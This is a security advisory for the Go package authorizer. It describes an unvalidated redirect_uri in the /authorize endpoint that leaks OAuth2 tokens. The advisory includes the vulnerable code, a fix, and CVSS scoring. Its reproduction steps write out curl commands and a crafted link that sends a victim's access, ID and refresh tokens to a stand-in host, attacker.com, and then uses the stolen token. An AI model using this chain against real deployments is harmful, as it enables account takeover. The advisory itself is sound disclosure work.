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Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

Critical
lakhansamani published GHSA-h29v-hj44-q8cv Jun 3, 2026

Package

gomod github.com/authorizerdev/authorizer (Go)

Affected versions

< 2.2.1

Patched versions

2.2.1

Description

Summary

The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.

Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.

Vulnerable Code

internal/http_handlers/authorize.go:

redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
    redirectURI = redirectURI + "&" + params
} else {
    redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).

Steps to Reproduce

# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")

echo "client_id: $CLIENT_ID"

# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"

echo "Send to victim: $MALICIOUS_URL"

# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...

# 4. Validate stolen token
curl -s http://TARGET/userinfo \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}

Impact

An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.

Proposed Fix

Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:

// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
        "error":             "invalid_request",
        "error_description": "redirect_uri is not allowed",
    }, http.StatusBadRequest)
    return
}

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-54072

Weaknesses

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

Credits